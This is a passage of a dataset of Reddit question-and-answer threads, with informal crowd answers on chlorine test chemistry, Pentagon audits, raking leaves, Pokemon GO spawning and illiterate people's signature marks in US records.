does my total chlorine test kit not pick up the chloride\n\nOnce again Cl- and Cl2 are pretty different. Cl- is pretty unreactive and basically just table salt. Cl2 however is different and more dangerous. Its much more reactive and is deadly in gas form. So this reactivity is probably what is tested for. (I'm not actually sure on how water treatment works)\n\n > What would have to change in order to make the Cl- form covalent bonds and become Cl2?\n\nGoing from Cl- to Cl2 just doesn't happen. Its a very \"expensive\" reaction in terms of energy required. In Chemistry once you have become unreactive and stable, you don't really leave that state. Now Going from Cl2 to 2 Cl- is possible. You simply have to introduce an environment where there are plenty of weaker elements. But due to how \"strong\" (reactive) Chlorine is its a very dangerous reaction and is not really safe in a large outdoor scale.\n > What are some good sources of information on water chemistry?\n\nWhen looking up water chemistry, focus on ionic bonds, covalent bonds, electronegativity trends, the octet rule, polarity on covalent molecules and also look up electrolysis after you've understood everything else mentioned. (its a bit more advanced). You will find all of this in any Basic Chemistry textbook. You don't need to limit your search on \"Water\" Chemistry. Just understand the above and you will know everything you need to make your own conclusions ", "Water and Cl*_2_* react in the following way:  \n\n\n H*_2_*O + Cl*_2_*  < - >  HCl + HOCl  \n\n\nFuthermore, HCl and HOCl dissociate, meaning a certain percentage of those moleculs will form an ion: either Cl^- or OCl^- (water will take the H^+ and become H*_3_*O^+ ).  \n\n\nWhat you count as free chlorine is, as I read [here](_URL_0_) Cl*_2_*, OCl^- and HOCl. The site also explains what combined chlorine is - total chlorine is the sum of the two. I don't know what exactly is in your tests, but one apparently ignores bonded chlorine and the other not.  \n\n\nCl^- is stable (think table salt, NaCl). Forming Cl*_2_* is would require additional energy, which can be added through electrolysis (applying electrical current to a chemical reaction). That's actually how chlorine gas is mostly made. It is not something that would form spontaneously (which is good, since it is a nasty chemical).  \n\n\nWater-chemistry specific pages can be found googling one of the terms you used (e.g. total chlorine). For a more general picture, general (so you get familiar with bonding etc.) and inorganic chemistry cover the topics included here.  ", "Just an aside to your question, even though Cl- + Cl- doesnt make Cl2, if it did, you likely wouldnt detect it with some water sampling kit. Cl2 in its normal state is a gas. If it was formed in water, it would just bubble away and the water would actually lose Cl content.", "I'm assuming you're using the DPD method for testing. Regardless, [this document from Hach](_URL_0_) may offer some insight.", "If you do the MO diagram of two chlorine anions coming close to each other, it ends up having a bond order of 0. 8 electrons in Sigma and Pi, and 8 in Sigma star and Pi star.\n\nTwo neutral chlorine approaching each other has 8 bonding and only 6 nonbonding, so it has a single bond. ", "Good comments from the others on your specific question. As for textbooks, I would recommend:\n\n1) \"Aquatic Chemistry\" by James Jensen. Dense but useful for theories such as equilibria or electro chem.\n\n2) \"Water Quality and Treatment\" by the American Water Works Association. Basically the Holy Grail of water quality treatment and has some good chapters on water chem.", "Essentially your question is, when I put Cl- in water, why is there no oxidation reduction producing Cl2 gas?\nThe reaction would be:\n\n2Cl- + H2O - >  Cl2 + 2OH- + H2 \n(Does not work without input of energy)\n\nThe answer as to why this would not work has to do with reduction potentials. Think of reduction potentials as a measure of a compounds ability to be reduced relative to other compounds on the scale.\nChlorine gas (Cl2) has a much higher reduction potential than water. +1.36 Cl2 and -0.83 H2O. \n\nSo if Cl- anion were to oxidize giving up its excess electrons to form Cl2 gas, the Cl2 would then reduce by snatching back up the electrons much much faster than the water possibly could, reproducing the original Cl- anion and affording no change in the system.", "The chlorine atom can have a maximum of 8 electrons in its outer shell (an octet),   This includes all electrons involved in bonding and all non-bonding electrons.  Chloride ion (Cl-) already has 8 electrons in its outer shell, and if you were able to bring two together, no bonding would occur, because if it did, the octet would be exceeded.  With one pair involved in bonding, each atom would have 10 electrons in its outer shell, which would require new orbitals that chlorine does not possess.  Put another way, the energy of that state would be extremely high.", "Energy levels is the answer.  All atoms want to exist at the lowest energy possible.  Chlorine anion is a very low and happy energy level for chlorine.  To make chlorine gas energy would need to be introduced into the system by electrolysis.  Think of every chemical problem like a box.  I put things into it and must get the same amount out no ifs ands or buts.  In order to produce molecules energy by way of a temperature increase (heat is a terrible term don't use it), motion ie mixing or other types.  youtube has some good sources, but any general chemistry book is a good place to start.  Don't be a sucker and spend $200 for a textbook though.  Buy a previous edition for $4 on ebay or amazon.", "Cl- can form Cl2 in acidic water in presence of ClO-:\n\nCl- + ClO- + 2H+ \u2014 >  Cl2 + H2O\n\nI don\u2019t have a table of redox potentials at hand, but this reaction is favourable and it\u2019s called [comproportionation](_URL_1_), as 2 species of the same element with different oxidation state (-1 and +1) get oxidized and reduced to the same species with an intermediate oxidation state (0). This is why you should not use bleach in presence of acidic substances (like detergents, that could contain alkylsulfonic acids, for instance): you can generate toxic Cl2.\n\nBleach is produced by the opposite reaction, [disproportionation ](_URL_0_) of Cl2 to yield ClO- and Cl- in basic conditions.", "There is a little problem with the premise of your question. In water treatment, when Cl2 is added to water it forms hypochlorous acid. This reacts with other compounds in the water to disinfect it. As long as there is a demand, there will be no free chlorine. As you continue adding chlorine, eventually you will overcome the demand and there will be free chlorine. The free chlorine will be the extra hypochlorous that doesn't have anything to react with. The total chlorine value will be the amount of hypochlorous added totally. It is not a measure of chloride nor is it a measure of CL2. \n\nA good beginning book on all things water treatment would be the Nalco Handbook. They are a large specialty chemical company that publishes a handbook on water treatment. \n", " > Why does my total chlorine test kit not pick up the chloride?\n\nBecause the reaction in your test kit is caused by the oxidising action of the chlorine species.  \n\nChloride is an inert ion in solution, which is already present in potable water before the chlorine goes in there, but is also the end of a mostly one-way set of reactions with the chlorine in the water.\n\nTotal chlorine is not \"Cl2\" though the results may be expressed as that.  It includes other bound chlorine species in solution like chloramines.\n\nA good place to start is to read the documentation in your test kit website.  Hach has some good stuff _URL_0_", "The Cl- ion is \u201chappy\u201d how it is. It has all its orbitals filled (like having a full stomach makes people happy). \n\nCl2 would actually have to share electrons to have its orbitals filled which is a bit like having to share a meal. It will do and keep you from getting too hungry but doesn\u2019t make you quite as happy. So if the Cl- ion has a choice it will always fill its own orbitals completely without sharing its electrons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.palintest.com/en/support/research-insight/free-and-combined-chlorine-understand-difference"], [], ["https://www.hach.com/cms-portals/hach_com/cms/documents/pdf/LIT/L7019-ChlorineAnalysis.pdf"], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Disproportionation", "https://en.wikipedia.org/wiki/Comproportionation"], [], ["https://www.hach.com/asset-get.download-en.jsa?code=57240"], []]}
{"q_id": "1rioxt", "title": "why can the pentagon go so many years without an audit? and not be held accountable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rioxt/eli5_why_can_the_pentagon_go_so_many_years/", "answers": {"a_id": ["cdnmvfj", "cdnmynq", "cdnndev"], "score": [3, 4, 4], "text": ["Being audited was not a requirement for government until 1996.", "People tend to forget how expensive and time-consuming audits are. It takes a team of very expensive people many months to produce a report. The government doesn't want to spend money on uncovering data that makes it look incompetent and corrupt. ", "There are massive amounts of auditing and government oversight over both the government and government contractors, especially in defense. They happen all day, everyday.  In fact there are many govt agencies dedicated solely to these purposes  These stories simply pick out some instances where there was not enough people or resources to do specific audits, or cobble together a variety of unrelated govt activities to magic up some number that is \"unaccounted for\", which has little meaning when you delve into the specifics of the numbers.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2mamu5", "title": "why do we need to rake leaves? what is the harm in leaving them on the ground to be covered by snow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mamu5/eli5why_do_we_need_to_rake_leaves_what_is_the/", "answers": {"a_id": ["cm2fcop", "cm2fl0p", "cm2fn8w", "cm2hep5", "cm2hi9a", "cm2hn1h", "cm2i6jk", "cm2iwlp", "cm2jglk", "cm2jjol", "cm2jzos", "cm2k0fq", "cm2k36h", "cm2l9ef", "cm2lnf6", "cm2m89t", "cm2mas3", "cm2n0d4", "cm2nhvn", "cm2nvot", "cm2oemd", "cm2ollt", "cm2pbib", "cm2pcg9", "cm2pe0j", "cm2pe3d", "cm2pode", "cm2qjk9", "cm2qpon", "cm2qqkh", "cm2r72h", "cm2rc9a", "cm2rex6", "cm2rwfv", "cm2s2zb", "cm2shpa", "cm2si8r", "cm2stxb", "cm2svxy", "cm2szla", "cm2tvux", "cm2u70t", "cm2uho6", "cm2v5bc", "cm2v7bq", "cm2vbvv", "cm2w5sg", "cm2wddr", "cm2wgdy", "cm2x9lq", "cm2xd6h", "cm2xjlh", "cm2xlho", "cm2y97a", "cm2ye5j", "cm2ynms", "cm2z58l", "cm2zajb", "cm2znhz", "cm30jjn", "cm31hd1", "cm31t4a", "cm31wxp", "cm32ak3", "cm32c2v", "cm331f3", "cm33jf6", "cm34ih4", "cm34oeb", "cm34pp0", "cm351sn", "cm35t8k", "cm36vg9", "cm37y9q", "cm37zha"], "score": [275, 2276, 8, 1418, 72, 2, 3, 5, 1469, 4, 19, 2, 79, 2, 6, 3, 3, 262, 3, 378, 2, 13, 7, 3, 2, 13, 2, 2, 5, 2, 2, 3, 3, 2, 3, 2, 2, 3, 2, 2, 3, 2, 2, 3, 3, 17, 3, 3, 3, 3, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 3, 6, 2, 2, 9, 2, 8, 2, 3, 4, 5, 2, 3, 3], "text": ["Assuming that it's over a lawn, the shortest answer is that it kills the grass.  Grass needs large amounts of sunlight so whenever snow is not covering it, it should be exposed.", "Here's something I just learned a little while ago: rake up most of the leaves, but before the snow gets too ridiculous, mow over a small layer of leaves. It mulches them up so that the grass can get sunlight, but it leaves enough of them that over the winter, the leaves decompose and provide a lot of nutrients for the grass and trees that dropped them.", "AFAIK leaves don't rot as well as, say, cut grass. So it piles up on your lawn and acts like a huge cover and kills the grass. Also, wet leaves on pavement are slippery as hell", "Because it will kill the lawn.  The leaves smother the grass and promote mold, which will kill the grass.  This is an evolutionary advantage for the tree - it eliminates competitive flora.  Mulching the leaves eliminate both of these problems.\n\nNow go rake the yard and quit asking questions.", "The wind also blows them into the streets, which then causes them to block the gutters. When the rain comes, it floods.\n", "Plants are pretty resilient, but they need a few things to grow: light, water and CO2.  Leaves block the flow of light, when they get wet, they also block the flow of CO2.  \n\nWhile plants need water, they need it at their roots.  Plant diseases (mold, mildew, fungii etc.) also thrive on wet plants. ", "As long as you clean them up as soon as is practicable in the spring, in practice it doesn't seem to be a problem.  It will be a bigger job to do your spring cleanup than it is if you clean up the leaves first, though.\n\nI do try to get the leaves off my lawn in the fall but it is a bit of a timing game in our part of the world (sometimes the first major snowfall is what brings most of the leaves down).  I have noticed no harm in the years where the leaves have waited until spring.", "Driving on a road covered in wet leaves can be just as slippery as ice on the road.", "My Dutch gardening neighbours (seriously, they love their garden a lot) always raked their leaves off the grass and completely covered their garden beds in a leaf layer at least 8\" deep. Over winter the leaves compost and add nutrients and also protect young shoots and root systems from direct cold. It also provides a slow drip of water through dryer spells as the water permeates through the leaves.", "Plant pathogens overwinter in the leaves and detritus, its a big part of the disease cycle.  The black tar spots on maple leaves are a good example, its caused by rhytisma fungi. Best way to control these diseases is through sanitation, or raking yo leaves.", "You shouldn't rake the leaves:\n\n >  [Based upon research at several uni\u00adversities, the organic matter and nutrients from leaves mown into lawn areas has been proven to improve turf quality](_URL_0_)", "I do yardwork as a side-job.  If you don't rake up leaves, they can get matted and starve the grass under them for sunlight.  This is especially true if you have wet winters like we do here.", "Mice.\n\nIf you don't rake up your leaves, they end up being like a blanket between the snow and the ground.  Mice love this setup as it keeps them nice and warm in the winter.  When the snow goes away, you'll see something like this:\n\n_URL_0_\n\nThose are the tunnels the mice created underneath the leaves.\n\nNot only will it mess up your lawn for next year, you now have dozens of mice living mere feet from your house.  If you have any openings, a portion of them will be living in your house soon.", "It's not just sunlight, it also chokes plant life from oxygen.  Leave them down and it will kill anything and leave you with mud.\n\nSource: I used to have some grass then had mud :)", "If you just leave the leaves they will smother the grass.  Grass needs light to grow and a layer of leaves will kill it off.\nI have over 100 trees on my property - a mix of Burr Oak, Shagbark Hickory and pin Cherries.  I have a mulching blade on my tractor and just run over the massive layers of leaves several times.  Once the pieces are small enough they fall between the grass blades and help nurture the grass as a fine mulch.  I also don't have to use fertilizer because I also mulch my grass this way.\n", "Two words. Leaf. Mold. Seriously, when the snow melts, your lawn will have  big Brown spots, and I will hate you. Danny allergies.", "Leaves and other debris as well as long grass in the winter will cause snow rot/mold, which will kill your grass.\n\n_URL_0_", "So when it snows, and you want to make a snow man, it doesn't have a whole bunch of leaves in it. C:", "It's best to leave as many leaves as you can actually - and mulch them with your mower. It adds organic content and acidity to your soil, which plants really need.\n\nBut ignorant neighbors complain...", "Horticulturalist here. Unless you live in a fairly temperate place (as i do), the lawn will be dormant for most of the winter. There is enough stored energy in the turf that it will not die or be 'smothered' by any leaves left on it, unless the turf is not well established or you have like 3 feet of leaves. As several people have pointed out, a light raking and mulching the remaining leaves is probably the best thing you can do. A light layer of mulched leaves may help to prevent weeds from coming up by the spring; any nutritional benefits are generally pretty negligible (mulching garden beds is a bit different).\n\nAlso, some neighborhoods have weird bylaws about the conditions of lawns, which may require homeowners to remove the leaves. By and large its just for aesthetic reasons. \n\nTl;dr Basically it comes down to personal preferences, bylaws, and the specifics of a particular lawn.", "It probably depends where you live and how many trees you have.  Everyone's saying that they block out sunlight and blow around, but the grass goes dormant around 6 degrees C anyways, and when you have two feet of snow on top of them, I don't see how it makes much difference.\n\nI just mow them in the spring.  The grass won't be growing until then anyways.", "Generally there's no actual harm that happens if you leave them as they fall. But one thing to note, that in the time coming towards winter, that all of that grass that is under the leaves will have little to no sunlight before the first frost comes in. This in my experience has made it so that when the grass thaws out in the spring, there's very little reserve energy in your lawn, and it takes longer for your lawn to return to a green state.\n\nThere is also the aesthetic part of it. Mostly, would you want your lawn to look like it's covered in rotting detritus, with brown or black piles of leaves causing a stink when it thaws in the spring?\n\nI generally just mow over the leaves, and rake the mulch into the grass, sot hat when the spring comes, it's easier for the leaves to decompose, and give my lawn a nutrient boost during the thaw. This has made my lawn a vibrant green before my neighbors' for many years, and makes me look like I'm a hard working yard enthusiast. WHen in reality, just before winter, I sit on my lawnmower, mulching up those dead leaves, and leave it for nature to sort out.", "Leaving the leaves on the lawn can increase the opportunity for fungal infections under the snow that can easily harm the grass.  Add to that the pH changing effects that can push the soil conditions WAY out of the grass's tolerance for the first few weeks after the spring thaw and the increase in slipperyness under the snow by a layer of what is basically recycled paper and you can see why leaving em on the lawn is bad.\n\nTrees take all the good stuff out of the leaves before they fall off the trees, this makes what is left over almost nutritionally useless to the topsoil.  ", "If you have Apple trees, leaving the leaves on the ground increases the  places for coddling moths to pass the winter, so it is recommended to remove as many leaves and broken branches from the ground as you can.\n\n", "it gets slippery as fu*k, leaves and snow/ice is deadly\n", "I live in eastern PA.  Lots of trees round here.  One thing I found very interesting is the variety of harmful fungus that piles of soggy, dark leaves can foster!\n\nI have two beautiful trees in my yard.  A Norway maple and an ash.\n\nLast year, we didn't rake and let the snow have the leaves.  In the spring, the Ash had orange blots *all* over the leaves.  The Norway maple had black specks all over.\n\nI can't find the website anymore, but I read that spores from New Jersey marshes are blown in during the late fall, settle into the fallen leaves, and then are released back into the air to infect the new leaves with the first heavy rain of the Spring, unless you rake the fallen leaves.\n\nEdit:  \n\n[Ash rust](_URL_1_)\n\n[Phyllosticta on maple leaves](_URL_0_)", "Answering only the question asked: two reasons. \n\n* it looks neater\n* leaves can hide important things like the edge of your driveway, obstacles than can trip a pedestrian or damage a car, etc. \n\nWhen I lived in places where this was an issue, my dad impressed upon me the neatness argument, so there were no options for me to explore with respect to the lawn. Now, it's nuttin' but pine needles, and I clean them up just because it makes me feel better to be able to see my driveway. ", "Picking up leaves is a statement about your place of residence or business. When you clean up leaves from the lawn and flower beds, it looks nicer and more inviting. Think about a town near you that had fallen on hard times. For me, it's Pontiac. Many houses and store fronts can't afford a lawn service or won't do it themselves, so leaves pile up along with a myriad of other chores and yard work(grass, bushes, removing saplings, etc). It looks awful, uninviting, and is very closely associated with economic ruin. Picking up leaves is just another time consuming chore to do for the man or woman that wants to take pride in their home.\n\nAs far what happens when they build up, walk through a deciduous forest some time. The leaves collect, pack down, and decompose, leaving a nice, soft, dirt-like layer of dead leaf cake underneath this year's leaves. If you leaf your yard as it is, when the snow melts you'll have a bunch of soggy, smelly leaves all over, and no one wants to clean that up.", "To be honest you do not need to rake them. You don't even have to mow. How ever a lot of people fall into city ordinances or covenants or home owner associations. I dont never raked and only mowed the front yard this year and left the sides and the back grow.\"weeds 4 ft high\". I live out in the country and my place is homesteaded. Yep all the new developments around me have requirements and they bitch at me all the time but nothing they can do about it.", "It kills the grass underneath.  And then we would have to stop mowing.\n\nOh wait....maybe you are on to something here.", "Lawns are based on an ideal of human control over nature. If it doesn't look like a green carpet, it's insufficiently controlled. Homeowners associations enforce the ideal so the harm is a registered letter threatening a fine.", "Another bonus of leaving them is that they're beneficial to small ground-foraging birds like Juncos. Insects will hide in them, and the birds come and poke through the leaves looking for goodies. I volunteer at a wildlife hospital and it's one of the \"living with wildlife\" outreach tips we provide. I usually rake mine off the lawn or patio, and then pile them over the garden beds.", "It's because people don't understand how ecosystems work and would rater have a monoculture on life-support than a native landscape.\n\nLeaves are the best compost and heres a tip, your leaf blower also sucks up leaves too!", "It's a lot easier to rake them up when they are dry in the fall, compared to the spring when the leaves are all flattened and wet and rotting. If you leave the leaves on your grass, it will form a layer of rotting leaves that kills the grass. Try it in a patch. You'll see.\n\nEdit: But like the_planes_walker says, you can also mow over the leaves (a few times if necessary) until they are fine little particles. I have done that for years. But the layer of leaves can't be too thick.", "Ex landscape maintenance guy here, unraked leaves left to decompose can actually be quite slippery and a real hazard. ", "I rake/vac up my leaves to compost them and use them the following year in the garden. Free all natural fertilizer.", "Because the leaves flatten the grass and by spring you'll have dirt instead of grass.  I dont even rake leaves, I mulch them with a 6hp mower with a Gator style blade.\n\nI did my full cleanup last weekend, then monday the neighbor's crew blew a fuck ton of leaves onto my yard, like not even trying to hide it, just piled it up on my grass next to their driveway. They also blew leaves onto the curb in front of my house.", "To remove a natural source of nutrient cycling to \"tidy up\".", "Some people rake them because we have a fireplace and if you start your fire with paper sometimes the burning paper can get sacked up the chimney and get past a spark arrestor.  You don't want dead leaves around your house to catch fire. Even if you don't have a fireplace, you never know when careless smokers could be near your property ", "If you have a lot of them, they can clump up and kill the grass in patches. ", "Humans want to change the natural evolution of plant life to make the front of their house look nice.", "It's many times aesthetic but in many cases it can be to prevent a drainage problem or other water problem. Say a pile of leaves accumulate against your house. This can damage foundations, cause leaks to basements, damage siding, attract termites, you get the idea.", "In my backyard, we used to grind up the leaves and let them decompose on the lawn. Our grass got crappier and crappier. \n\nWe eventually spoke with a lawncare professional, who provided the following explanation.\n\nThe leaves cause the soil to acidify. As pH of the soil falls, the grass has a harder time growing on the lawn and the grass blades grow thinner. Your grass will die if you leave the leaves overtop of the grass, and grinding the leaves up will acidify your soil and make the grass appear more sparse. ", "We don't *need* to but it reduces snow mold in the spring it that affects you. I just mulch it all or blow it on my neighbors lawn where they come from.", "One reason is that the leaves blow onto the roads and find their way to sewer and storm drains clogging them up. Winter and spring bring enormous amounts of water which must travel down said drains or flooding can occur, damaging property and causing a mucky mess.", "Good 'ol Reddit. Some of the post on here are laughable.\nMulching your leaves will return needed nitrogen to your soil. However if you have too many leaves, the insects and microbes will not be able to decompose all of it by the time the snow hits. As far as the post saying it will acidify your soil. Depends on where you live and what soil type you have. If you live somewhere with a high pH soil to begin with, this is a good thing. Nutrient availability is limited at high and low pH levels, especially micronutrients. Low pH is worse because metals (mainly aluminum) start being released, blocking the soils nutrient exchange sites. \nWhen leaves are left under the cover of snow they inhibit water drainage and gas exchange with the soil. This can cause and anaerobic environment that will promote turf diseases caused by fungi. Bad for your grass. \nSource - BS in Crop and Soil Science / Turfgrass Management", "I try to accelerate the composting.  I use a leaf blower in vaccuum mode.  Instead of dumping the chopped up leaves into a bag I just blast them all over my yard in little chopped up bits.  It's tons of fun and makes a huge mess.  \n\nIt works out great.  The leaves are chopped into little bits.  When spring comes, the small chopped up leaves feed the grass and the parts disappear into the fresh green lawn. \n\nI look forward to leaf hosing my lawn every fall.  I'm sure it drives the neighbours nuts too!\n", "I did that once. I left leaves on my lawn. It snowed and the leaf covered part died. I now have big dirt spots where grass should be.", "leaves are actually good for better soil\n\nmost people just dont want them in their yard", "It will kill the grass when they mat down and make mold, etc causing the lawn to decay as well.", "Always raked them up so the snow wasn't dirty when you would play in it...Who wants a leafy snowman?", "Surprised this wasn't the top answer but one good reason to rake em is because fungus gets into the decomposing, wet leaves, this soaks into the soil, roots absorb this contaminated fungal water, and then the next summer (this happened to my family's maple tree) little black fungal spots will appear. Now this may not seem like much, but when every single leaf has ugly black spots on them. The tree looks a lot less vibrant and healthy, but otherwise it will go away by next season if you properly dispose of the decomposing leaves.", "Some leaves, such as those from the Japanese maple we have, will alter the pH of the soil if not removed making it inhospitable for the other plants around it.", "I didnt rake leaves and a subsequent 11 inch rain couldn't run off properly due to blocked drainage.  In turn, our house flooded. ", "We don't need to rake leave, we wan't to rake leaves. Leaves stain our neatly kept lawns. Just left to be, leaves and other organic matter release their nutrients into the soil as they decompose. The only exceptions would be for road ways and drains, to prevent reduced traction and clogging.", "In certain circumstances, leaves left to rot/decay can contribute to the spread of molds and diseases that harm and can kill trees and other pants.\nIt becomes especially important if you have a tree that starts showing signs of being infected with one of these afflictions.", "Raking the leaves is the most important job my neighbor has left. Take that away, and he'll be stuck just washing his driveway.", "Because leaves are a trees way of making sure grass doesn't grow and absorb water before the tree has a shot.  Rake the leaves because grass is nice.", "i never understood this concept myself. as a new homeowner i've been spreading other peoples leaves on my lawn and hitting them with my mulching mower. the same people who tell me it's weird in the fall will comment on how nice and green my lawn looks in the summer.\n\nmeanwhile they're all raking their leaves into the street, so the town can compost them and use as mulch at parks.", "no harm, they will rot or blow away, but then again, I never water my lawn and seldom mow it either, one of the advantages of being the local biker house on the block.\n", "I am very disorganized and messy, and thus have always felt that raking leaves is pointless. Who cares, it's all gonna be covered by snow later, and decompose before it melts anyway. I say leave 'em.", "If you don't rake the leaves, they stick and roll up into your snowman. This makes him look homeless and sad. Poor snowman. ", "I'm from coastal California.  What are these ground leaves and snow that you speak of?", "Some trees, mostly conifers, contain acidic chemicals when compounded. It is known as VOC or volatile organic carbons which can be harmful to the grass trying to grow back in the spring. ", "snakes and rodents can move into your pile of leaves and try to hibernate", "People keep trying to rationalize it one here with pseudoscience.  It's just aesthetic.  Lawn care was a huge deal in the 50s.  Which looks better:  a bright green, grassy lawn, or a bunch of dead leaves?", "I just let the the shit stay there and wind blows away.", "The fucking neighbors, man. My wife and I worked hard - overtimes, taking no vacations, penny pinching, etc. so we could save up for a house in an upscale neighborhood. These people are something else. Your neighborhood has silly expectations about various things and they become quite offended if you do not play their stupid games.\n\nBeing an upscale neighbourhood, these guys hold pretty high caliber jobs, and as a result mingle with equally douche bag company. Their guests arrive in nothing less than Mercs/BMWs/Jags, etc. To ensure the guests don't get offended these dick neighbors hire YARD WORKERS..ffs what a waste of money. Twice a week grass is cut, hedges are trimmed, leaves are raked.\nYou walk down the street and it's perfect lawn after another perfect lawn... then you get to MY lawn... yep - long grass, and leaves shall stay. The community has tried to intervene; even going as far as to suggest they hire workers to clean it for me - cause I usually do my own shoveling/cutting/gardening and they've probably realized I am a phony and do not make enough money to be qualified to be living there. Whatever.\n\nend of rant.\n\nTldr: Fuck what your neighbors think, enjoy the beauty of fall and the leaves.", "In college we left our lawn covered in leaves. Come spring the grass was dead and our whole yard was mud. However we made the most of it and had drunk mud fights ", "I think it's all about preference really, Some people associate a ton of  leaves with sloppiness,since the norm is usually to rake them . For instance my dad always prefers to rake the leaves because he feels as if it makes the \"backyard look sloppy\" if that makes any sense, on the otherhand people with knowledge of gardening allow the leaves to remain on the grass to help benefit the soil, as stated in the previous posts.", "So 5 years ago I moved into a house that has a ton of trees with a ton of leaves. Where I grew up there was almost no trees so I never had to deal with leaves. I thought the leaves would fall and just disappear / decay. I saw all my neighbors outside for hours dragging leaves on tarps into the woods. I wasn't going to waste my time so I left my leaves to decompose. NOPE!!  4 years later and I had so many God damn leaves caked up on every corner of my property. By the rock wall, under shrubs, against anything that stopped them as the wind blew. They also would blow into my neighbors nicely once leaf free lawn. \n\nI became known as the house who didn't do his leaves. The leaves were a nightmare. They killed the grass, Promoted snakes, bugs and ticks. And they pissed off the neighbors. That's why you must do your leaves. ", "People rake their leaves for appearances more than anything else. ", "There's no problem with leaving the leaves until spring. They break down.  It's what happens in nature. It's fine.\n\nThe only thing that keeps people from accepting that is middle-class anxiety, upper-class snobbery, and proletarian hunger to socially climb.", "We don't need to rake them. Actually, leafing them (yep, had to do it) on the ground helps construct what is known as an organic layer which helps protect soil from the sun which will help keep it from drying out, leaving more water readily available for the trees. \n\nAlso, as leaves decompose, they return nutrition back into the soil that the trees need. \n\nInstead we pay landscapers to haul the leaves away and then another guy to come and lay down fertilizer. ", "In my experience this is BS. Growing up in the country we never raked our leaves. A lot of that time we didn't even own a rake. Had a nice full lawn the whole time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["http://www.finegardening.com/improve-your-soil-raking-less"], [], ["http://blog.lib.umn.edu/efans/ygnews/images/2009/04/art4-2_600.jpg"], [], [], [], ["https://www.google.com/search?q=snow+mold"], [], [], [], [], [], [], [], [], ["http://nac.unl.edu/documents/diseasetrees/chap4.pdf", "http://extension.udel.edu/factsheet/ash-rust/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4rr33g", "title": "how does pokemon go work? what determines where you find one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rr33g/eli5_how_does_pokemon_go_work_what_determines/", "answers": {"a_id": ["d53jpuo", "d53o3ex", "d5537dk", "d55o38j"], "score": [9, 6, 2, 2], "text": ["From what I can tell, it's kinda randomish. It's hard to tell if they're on a server, because other people in the same area don't see the same Pok\u00e9mon as you, but I've also had to restart the game and had the same Pok\u00e9mon appear after it's restarted (ie, saw a Pok\u00e9mon nearby, game crashed, when I restarted, the Pok\u00e9mon popped back up. Could be a coincidence, but I'm not sure), so it seems likely to me that the server holds information for what Pok\u00e9mon are near you personally, but other people can't compete with you for those Pok\u00e9mon. I could be wrong on that though.\n\nThere's definitely some sort of algorithm that figures out where different Pok\u00e9mon appear. I quite often have the same Pok\u00e9mon appear in the same area. For example, a mall nearby me seems to have a lot of voltorbs and magnemites quite consistently. ", "Pokemon spawns are largely based on data gathered from cellphone data usage. This was implemented in Ingress and carried over into Pokemon GO. During the beta, it was very clear where there's patches of concentrated data usage were located, but they have since changed the animations. If you go to a busy shopping center, you will get a lot of spawns. In Ingress, you can see the XM on the ground on highways that get a lot of rush hour traffic, but for PokemonGO, they have disabled natural spawning directly on major roads/highways. Spawning if various Pokemon types us also based on geographic locations and properties. Most noticeable is water types spawning near water. People think that any water source will spawn Pokemon, but it still needs those data pools. Piers and popular beaches with cell reception will have spawns will less frequented riverbanks won't. Irrigation canals also spawn water Pokemon.", "My guess: They use both cell tower triangulation, gps, geo data from Google maps, and crowd sourced data (hot spots with high volumes of cell data usage) to trigger the events, in this case pokemons. There is a reason people using Google accounts compared to Nintendo's servers are able to login right now, Nintendo doesn't have the infrastructure or experience of handling petabytes of data efficiently, Google has to handle the huge volume of traffic before and obviously the infrastructure. \n\nI feel sorry for the devops team right now scrambling to stand up more servers while ones up cook to capacity.  Though it is a interesting problem to solve. ;)\n\nMy thoughts are if you login through Google you will see what other Google users see, where the people using their pokemon trainer accounts or whatever it's called the servers of gameplay are split. in assuming Nintendo invested in them to create go from the original game platform, needless to say Nintendo didn't expect such a volume, someone under anticipated and called them up desperately to get help to keep from pissing off people. Google adds their servers and logins to their infrastructure and platform. Tada, you now have split gameplay. Quick patch was to at least share the user databases at least.\n\nSources:\nSr developer, ecommerce but no where near this level of traffic experience on infrastructure.\n\n- _URL_0_ a little more source to back my thoughts:\n\n\"Niantic was started by former Google vice president John Hanke, who worked on location-based projects such as Google Earth and Google Maps for the search giant.\"\n\nSome notes in job descriptions for clues:\n_URL_1_", "So unless I'm mistaken, what you guys are saying is that this little mountain resort in northern Italy that I'm at is just not going to have Pokemon ever and I shouldn't try? I've been on it for hours now and not a single Pokemon shows up nearby."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://blogs.wsj.com/digits/2015/08/13/google-incubated-niantic-maker-of-ingress-stepping-out-on-its-own/", "https://www.nianticlabs.com/jobs"], []]}
{"q_id": "au6myv", "title": "In the USA, what constituted a mark when an illiterate person was asked to \"Make your mark\"?", "selftext": "In doing genealogy, I've found numerous instances of illiterate ancestors who placed a simple \"X\" when asked to sign for something like a Revolutionary War pension. Did this vary much? And what kept someone from forging an X and taking someone else's pension?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/au6myv/in_the_usa_what_constituted_a_mark_when_an/", "answers": {"a_id": ["eh8j0g6"], "score": [5], "text": [" >  In doing genealogy, I've found numerous instances of illiterate ancestors who placed a simple \"X\" when asked to sign for something like a Revolutionary War pension. Did this vary much? And what kept someone from forging an X and taking someone else's pension?\n\nIt did vary quite a bit. A lot of those records you'll see with a simple \"X\" are actually transcriptions of the original. They might look old, because they *are* old, but they aren't necessarily the original, and when [the transcriber transcribed them](_URL_4_), they rendered all the signature marks as a simple \"X\". This applies to both handwritten transcriptions, as well as typed transcriptions such as in [this example](_URL_7_).\n\nBut if you look at an original document, this is less true, such as [this example](_URL_13_) on page 301 of a book of 